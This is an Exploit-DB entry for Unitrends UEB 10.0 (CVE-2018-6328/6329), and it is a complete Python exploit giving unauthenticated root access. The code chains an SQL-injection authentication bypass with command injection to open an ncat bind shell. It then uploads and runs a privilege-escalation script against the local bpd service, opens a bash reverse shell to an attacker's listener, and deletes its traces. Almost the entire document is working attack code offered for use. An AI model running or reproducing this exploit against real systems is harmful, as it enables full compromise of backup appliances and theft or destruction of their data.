Unitrends UEB 10.0 - Root Remote Code Execution

EDB-ID:

44297


Platform:

Linux

Published:

2018-03-16

# Exploit Title: Unauthenticated root RCE for Unitrends UEB 10.0
# Date: 10/17/2017
# Exploit Authors: Cale Smith, Benny Husted, Jared Arave
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 10.0.0
# Tested on: 10.0.0-2.201706252204.CentOS6, 10.0.0-5.201708151911.CentOS6
# CVE: CVE-2018-6328, CVE-2018-6329

import httplib
import urllib
import ssl
import random
import sys
import base64
import string
import socket
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Unauthenticated root RCE for Unitrends Backup
Tested against appliance versions:
  [+] 10.0.0-2.201706252204.CentOS6
  [+] 10.0.0-5.201708151911.CentOS6

The Deal:

1. A sqli + low priv remote RCE vulnerability to is used to establish a low priv
   remote shell from the UEB 10 host (you don't need to worry about setting up
   a listener).
2. A local privesc exploit containing the desired command is uploaded to the host
   using this shell, and executed.
3. The initial low priv shell is closed, and the local privesc script is deleted.

To use the exploit as written, make sure you're running a reverse
shell listener somewhere, using a command like:

$ nc -nlvp 4444

Then, just specify the ip and port of the remote listener in the 
exploit command. Alternatively, modify this exploit to contain a 
command of your choosing by modifying the 'cmd' argument.
###############################################################################
"""

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
	    "       %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
				  help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
				  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
				  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
				  help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if options.cmd:
	if (options.lhost or options.lport):
		parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mututally exclusive.\n")

	elif not options.rhost:
		parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.lhost is None or options.lport is None:
	parser.print_help()
	sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
	cmd = options.cmd
else:
	cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

apache_ncat_port = random.randint(4000,5000)

###############################################################################
# STAGE 1: LOW PRIVE RCE!
# Bypass authentication and run a command as apache. In this case,
# we'll run a netcat bindshell on a random port...
# ncat -lvp 4444 -e /bin/sh
# NB: This is not the part of the process where we're going to run our command. 
# We're establishing a reverse shell which will be used later to state a 
# privilege escalation payload onto this box.
###############################################################################

low_priv_cmd = "ncat -lvp {0} -e /bin/sh &".format(str(apache_ncat_port))
url = '/api/hosts/'

# Here, a SQLi string overrides the uuid, providing auth bypass.
# We'll need to base64 encode before sending... 
auth = base64.b64encode("v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0")

params = urllib.urlencode({'auth' : auth})

params = """{{"name":"bbb","ip":"10.0.0.200'\\"`0&{0}`'"}}""".format(low_priv_cmd)

headers = {'Host' : RHOST,
		   'Content-Type' : 'application/json',
		   'X-Requested-With' : 'XMLHttpRequest',
		   'AuthToken' : auth }

# Establish an HTTPS connection and send the payload.
conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(0)

print "[+] Sending payload to remote host [https://{0}]".format(RHOST)
print "[+] opening low-priv bindshell w/ the following command:"
print "[+] {0}".format(low_priv_cmd)

conn.request("POST", url, params, headers=headers)
r1 = conn.getresponse()

r1.close()

###############################################################################
# STAGE 2: MOVE THE PRIVESC ONTO THE REMOTE BOX!
# The local root RCE exploit below will be printf'd into a file in /tmp
# NB: your command of choice has been inserted into this exploit.
###############################################################################

priv_esc_text = """

import socket
import binascii
import struct
import time
import sys
from optparse import OptionParser

# Parse command line args:
usage = "Usage: %prog -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-c", '--cmd', dest='cmd', action="store",
          help="Run a custom command, no reverse shell for you.")
parser.add_option("-x", '--xinetd', dest='xinetd', action="store",
          type="int", default=1743,   
          help="port on which xinetd is running (default: 1743)")

(options, args) = parser.parse_args()

RHOST = '127.0.0.1'
XINETDPORT = options.xinetd
cmd = options.cmd

def recv_timeout(the_socket,timeout=2):
    the_socket.setblocking(0)
    total_data=[];data='';begin=time.time()
    while 1:
        #if you got some data, then break after wait sec
        if total_data and time.time()-begin>timeout:
            break
        #if you got no data at all, wait a little longer
        elif time.time()-begin>timeout*2:
            break
        try:
            data=the_socket.recv(8192)
            if data:
                total_data.append(data)
                begin=time.time()
            else:
                time.sleep(0.1)
        except:
            pass
    return ''.join(total_data)

print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))

try:
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((RHOST,XINETDPORT))
except:
  print "[!] Failed to connect!"
  exit()

data = s1.recv(4096)
bpd_port = int(data[-8:-3])

try:
  pass
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((RHOST, bpd_port))
except:
  print "[!] Failed to connect!"
  s1.close()
  exit()

print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)

cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)

packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3

s1.send(packet)

data = recv_timeout(s2)

print data

s1.close()
#s2.close()

"""

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pe_filename = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
pe_filename += ".py"

print "[+] Connecting to ncat bindshell at {0}:{1}.".format(RHOST, str(apache_ncat_port))
try:
  s2.connect((RHOST,apache_ncat_port))
except Exception as e:
  print "[!] something's wrong with %s:%d. Exception is %s" % (address, port, e)
  exit()

print "[+] Transfering privesc script to remote host..."
for line in priv_esc_text.split('\n'):
  line = base64.b64encode(line+'\n')
  ft_cmd = "echo " + line + " | base64 -d >> /tmp/{0}\n".format(pe_filename)
  
  s2.send(ft_cmd)

print "[+] Executing command:"
print "[+] '{0}'".format(cmd)
high_priv_cmd = "python /tmp/{0} -c '{1}'\n".format(pe_filename, cmd)
s2.send(high_priv_cmd)
print "[+] Cleaning up, removing remote privesc script."
cleanup_cmd = "rm /tmp/{0}\n".format(pe_filename)
s2.send(cleanup_cmd)

print "[+] We did it! :D"
s2.close()